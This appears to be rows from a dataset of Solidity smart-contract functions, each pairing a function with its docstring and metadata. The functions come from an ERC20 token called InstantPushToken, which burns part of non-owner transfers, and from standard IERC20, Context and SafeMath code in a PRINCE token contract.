* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | decimals | function decimals() public view returns (uint8) {
return _decimals;
}
| /**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
1794,
1882
]
} | 18,031 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | totalSupply | function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
1942,
2047
]
} | 18,032 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | balanceOf | function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
| /**
* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
2105,
2229
]
} | 18,033 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
2437,
2658
]
} | 18,034 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | allowance | function allowance(address owner, address spender)
public
virtual
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
2716,
2922
]
} | 18,035 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | approve | function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
3064,
3279
]
} | 18,036 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | transferFrom | function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: ... | /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
3756,
4215
]
} | 18,037 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | increaseAllowance | function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
4619,
4924
]
} | 18,038 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | decreaseAllowance | function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
... | /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
5422,
5827
]
} | 18,039 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _transfer | function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
... | /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
*... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
6312,
6927
]
} | 18,040 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _mint | function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfe... | /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
7204,
7587
]
} | 18,041 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _burn | function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
)... | /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
7915,
8375
]
} | 18,042 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _approve | function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(own... | /**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero a... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
8808,
9193
]
} | 18,043 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _setupDecimals | function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
| /**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
9520,
9615
]
} | 18,044 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _beforeTokenTransfer | function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
| /**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* -... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
10213,
10343
]
} | 18,045 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | InstantPushToken | contract InstantPushToken is ERC20 {
using SafeMath for uint256;
string private _name = "InstantPushToken";
string private _symbol = "IPT";
uint256 private _decimals = 18;
uint256 public sold;
uint256 public rate = 10;
uint256 public maxBuy = 50 * 10**_decimals;
uint256 publ... | transfer | function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
uint256 amountToBurn = msg.sender != owner() ? burnAmount(amount) : 0;
uint256 amountToTransfer = amount.sub(amountToBurn);
// burn
_burn(msg.sender, amountToBurn);
_transfer(_msgSender()... | /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
* - burn specifc amount
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
1404,
1825
]
} | 18,046 | ||
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | InstantPushToken | contract InstantPushToken is ERC20 {
using SafeMath for uint256;
string private _name = "InstantPushToken";
string private _symbol = "IPT";
uint256 private _decimals = 18;
uint256 public sold;
uint256 public rate = 10;
uint256 public maxBuy = 50 * 10**_decimals;
uint256 publ... | transferFrom | function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
uint256 amountToBurn = msg.sender != owner() ? burnAmount(amount) : 0;
uint256 amountToTransfer = amount.sub(amountToBurn);
_burn(sender, amountToBurn);
_transfer(sender, r... | /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amou... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
2324,
2969
]
} | 18,047 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | IERC20 | interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipi... | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
165,
238
]
} | 18,048 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | IERC20 | interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipi... | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
462,
544
]
} | 18,049 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | IERC20 | interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipi... | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
823,
911
]
} | 18,050 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | IERC20 | interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipi... | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
1575,
1654
]
} | 18,051 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | IERC20 | interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipi... | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
1967,
2069
]
} | 18,052 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | Context | abstract contract Context {
//function _msgSender() internal view virtual returns (address payable) {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mut... | _msgSender | function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
| //function _msgSender() internal view virtual returns (address payable) { | LineComment | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
108,
211
]
} | 18,053 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
259,
445
]
} | 18,054 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
723,
864
]
} | 18,055 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
1162,
1359
]
} | 18,056 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
... | /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
1613,
2089
]
} | 18,057 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to reve... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
2560,
2697
]
} | 18,058 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an in... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
3188,
3471
]
} | 18,059 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consumi... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
3931,
4066
]
} | 18,060 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
